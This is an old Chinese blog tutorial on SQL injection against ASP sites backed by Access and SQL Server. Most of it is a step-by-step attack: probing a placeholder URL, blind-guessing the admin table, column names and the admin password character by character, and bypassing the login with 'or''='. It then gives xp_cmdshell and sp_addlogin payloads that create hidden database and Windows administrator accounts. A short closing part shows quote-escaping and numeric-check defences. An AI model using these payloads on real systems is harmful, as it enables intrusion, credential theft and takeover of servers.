asp+access注入基础说明

Posted on 2005-11-27 10:24  flourish  阅读(4932)  评论(0)    收藏  举报
实例:http://www.xxx.com/jiaren.asp?ID=544
好下面开始了.....

1.判断

用'            ;
用 and 1=1    and 1=2

判断是很重要并且最主要的一步,因为如果你手工注入不判断那么怎么继续呢..
============================================================================
' 返回   

Microsoft JET Database Engine 错误 '80040e14'

语法错误 (操作符丢失) 在查询表达式 'ID = 544''' 中。

/jiaren.asp,行15

============================================================================

; 返回正常页面

===============================
and 1=1  返回正常页面

================================
and 1=2  返回错误页面

编号:

ADODB.Field 错误 '800a0bcd'

BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。

/jiaren.asp,行28
==============================================================================

上面我们进行了简单的判断,可以知道该页面存在注入.这个时候会有很多朋友要问,这样为什么就存在注入呢.呵呵你只要记住我们就是靠返回页面的不同来判断的.只有它两次返回页面不相同那么就可以知道存在了.



2.猜表
and 0<>(select count(*) from *)
这个就最基础,最大众话的查询语句了.至于语句的作用我会给大家说明.但是具体的意思请大家自行找有关SQL查询的资料看.

and 0<>(select count(*) from admin) ---判断是否存在admin这张表

其中admin是可以换的,其他部分不要换.
我们刚刚返回的是正确页面说明存在admin这张表.如果返回错误说明不存在,那么我们就要换其他的.如: and 0<>(select count(*) from user) 当然啦,只要你想到都可以试试.那天我在课上我给了大家两个提示,没有想到很多人居然就知道这两个了.还问我把admin , user 换成其他的可不可以.同志们,这个admin user 是可以替换的.但是,不是随便换你要想一下平时人家都是用什么名称来做表名.因为你是在猜表,也要有思路的猜不是乱猜.换成123 456 那有用吗.没有用因为没有谁会用这个去做表的名称.
一般的表的名称无非是admin adminuser user pass password 等..

3.猜帐号数目
and 0<(select count(*) from admin)
大家会发现和上面的语句差不多.呵呵其实查询部分就是一样不同的是前面的数字.这个数字就是去看看有几个用户帐号.是要换的哦.不是固定是1..因为我们是猜呀.也就是现在我们也不知道它表里面数据到底有几个帐号所以要猜,如果固定的那么就不叫猜了呵呵..
1<  就是说看看 1是不是小于里面的帐号数目 如果返回的页面是正确的说明是对的,如果错误的说明不是的那么我们就要换成 2<  3< .....  当然啦你也可以用1> 2> 来猜.
如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 具体的数学上面判断大小不会要我去教你们了吧.
下面我做给你们看,这里我是从0开始判断 呵呵返回正确页面肯定会返回的因为里面不可能一个管理员帐号都没有的. 返回错误了哦.说明什么他里面就只有一个管理员帐号.我们换成1=看看是不是 OK返回正确页面说明是的.
如果里面有几个帐号这个时候大家就要知道具体猜哪个帐号了.

4.猜解字段名称
and 1=(select count(*) from admin where len(name)>0) 用户字段名称

and 1=(select count(*) from admin where len(password)>0) 密码字段名称

猜解表里面的字段名称了
and 1=(select count(*) from admin where len(*)>0)---  这个是核心语句哦也是大众话的语句.我们要做的就是在len( ) 括号里面加上我们想到的字段名称.

我们先来猜用户名字段 我用的是 name OK对了.那么下面我们就来猜密码字段了.
我先用pass 晕死不是的,那么我们再换成password看看 ok对了.
那么用户字段和密码字段我们都猜解出来了.下面就是猜解长度和具体的字符了.

5.猜解各个字段的长度
猜解长度就是把
and 1=(select count(*) from admin where len(*)>0)

>0 换成其他的只道猜到=?返回正确页面为止,好,下面我们开始吧.
首先是帐号长度...刚刚帐号字段是name
and 1=(select count(*) from admin where len(name)>0) 正确
and 1=(select count(*) from admin where len(name)>1) 正确
and 1=(select count(*) from admin where len(name)>2) 正确
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确
and 1=(select count(*) from admin where len(name)>4) 正确
那么我们就可以知道长度是 6
and 1=(select count(*) from admin where len(name)=6) 正确
呵呵对了吧,=6返回的是正确页面.

下面是密码字段的长度
and 1=(select count(*) from admin where len(password)>0) 正确
and 1=(select count(*) from admin where len(password)>6) 正确
and 1=(select count(*) from admin where len(password)>10) 正确
and 1=(select count(*) from admin where len(password)>15) 错误
and 1=(select count(*) from admin where len(password)>14) 错误
and 1=(select count(*) from admin where len(password)>13) 错误
and 1=(select count(*) from admin where len(password)>12) 错误
and 1=(select count(*) from admin where len(password)>11) 正确
OK长度是 12

name 6
password 12

长度出来了,下面就是具体的字符了


6.猜解字符
and 1=(select count(*) from admin where left(name,1)='a')  ---猜解用户
and 1=(select count(*) from admin where left(password,1)='a')
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select count(*) from admin where left(pass,1)='a') ---猜解密码

left(name,1)='a' 注意了 1的位置就是你要猜解的字符的位置.
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位
就这样下去只到猜玩为止.

and 1=(select count(*) from admin where left(name,1)='a') 错误
.....
and 1=(select count(*) from admin where left(name,6)='pclzyq')
因为这个猜解过程比较漫长所以我就直接给出答案了.

and 1=(select count(*) from admin where left(password,1)='a') 错误
.......
and 1=(select count(*) from admin where left(password,12)='pclzyq000215')
直接给出了答案.

name = pclzyq
password = pclzyq000215


7.找出登陆口,进行登陆
一般的登陆口:
admin.asp
admin_index.asp
admin/index.asp
admin/admin.asp
....
大家可以自己去积累..积累多了不要忘了做成文本文件传给我哦.^_^

我们这里登陆口是 http://www.xxx.com/admin.asp 下面就是进行登陆了.

呵呵,后台简单吧写这个程序的人估计也很简单因为他这个登陆口还存在另外一个问题.
用 'or''=' 进行登陆看看 , 看见了吧也可以进去哦.呵呵


说明:

命令:SELECT
中文意思:选择
说明:用于找出合乎条件的记录

加总函数:COUNT
中文意思:数量
说明:用于求指定的数量

子句:FROM
中文意思:数据表
说明:用于指定数据表

子句:WHERE
中文意思:条件
说明:用于设定条件

运算符:AND
中文意思:并且
说明:逻辑且

TOP  --取出前面的指定长度数据
select top 10 * from .....

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51)  -- 这个查询语句可以猜解中文的用户和密码.只要大家把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
-----------------------------------------------------注意
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加数据库用户用户test,密码为test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密码,则用这句(将test的密码改为123456)
news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //将test加到sysadmin组,这个组的成员可执行任何操作
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test /add';-- //添加系统用户test,密码为test
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';-- //将系统用户test提升为管理员
这样,你在他的数据库和系统内都留下了test管理员账号了
2:
屏蔽注入的办法replace(变量,"'","''")替换成二个单引
举个例子给大家
存在注入的句子
pwd = request.form("pwd")
name = request.form("name")
修改后不存在注入的两个办法 pwd = request.form("pwd")
name = request.form("name")
name = replace(name,"'","''")
得先读取再判断啦
或直接
pwd=Replace(Request.Form("pwd"),"'","''")
name=Replace(Request.Form("pwd"),"'","''")
第3个例子:
sql="select * from 表 where user=''"&user&"'' and pass=''"&pass&"''"
sql="select * from 表 where user=''"&replace(user,"''","''''")&"'' and pass=''"&replace(pass,"''","''''")&"''"
---------------------
如果是字符型的就
replace(String,"'","''")
如果是存储过程就
replace(String,"'","''''")
如果是数值型就isnumeric一下
--------------------------------------------
对于sql注入很多站点开始采用replace(request("id"),"'","''")一个单引号转成两个单引号来过滤,
也有通过replace(request("id")," ","")消去所有空格来过滤。
对于"select * from tablename where id='" & replace(request("id"),"'","''") & "'"这种过滤,目前没有任何破解办法,
但是有很多站点却在select * from tablename where id=" & replace(request("id"),"'","''")来过滤,
因为提交的参量两遍并没有单引号封死,而仅仅依靠过滤用户数据的单引号来防御
sql注入。这种防御可以导致正常的sql注入失败,这是一个注入半防御状态。但是如果我们能够避
开单引号的话,那么那种防御就毫无意义。同理过滤空格也一样。

主要是针对数字型的变量传递:
id = Request.QueryString("id") '取得传递的ID
If Not(isNumeric(id)) Then '验证-如果ID不是传递的ID那么。。。
Response.Write "非法地址~"
Response.End
End If


补充篇之ACCESS注入点显示目录
因为有时候我们要知道他的WEB站点到底在服务器哪个盘下面,只对MDB数据库有效..
http://www.252525.net/news.asp?id=1 and (select top 1 tmp from temp)=1
补充篇之去掉ntlm验证
那就是直接运行命令:tlntadmn config sec = -ntlm
注射的话可以直接运行:;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'--
补充篇之往数据库里加管理员
;insert into admin(Username,PassWd,OSKEY) values ('ldwz','49ba59abbe56e057','super')--

博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3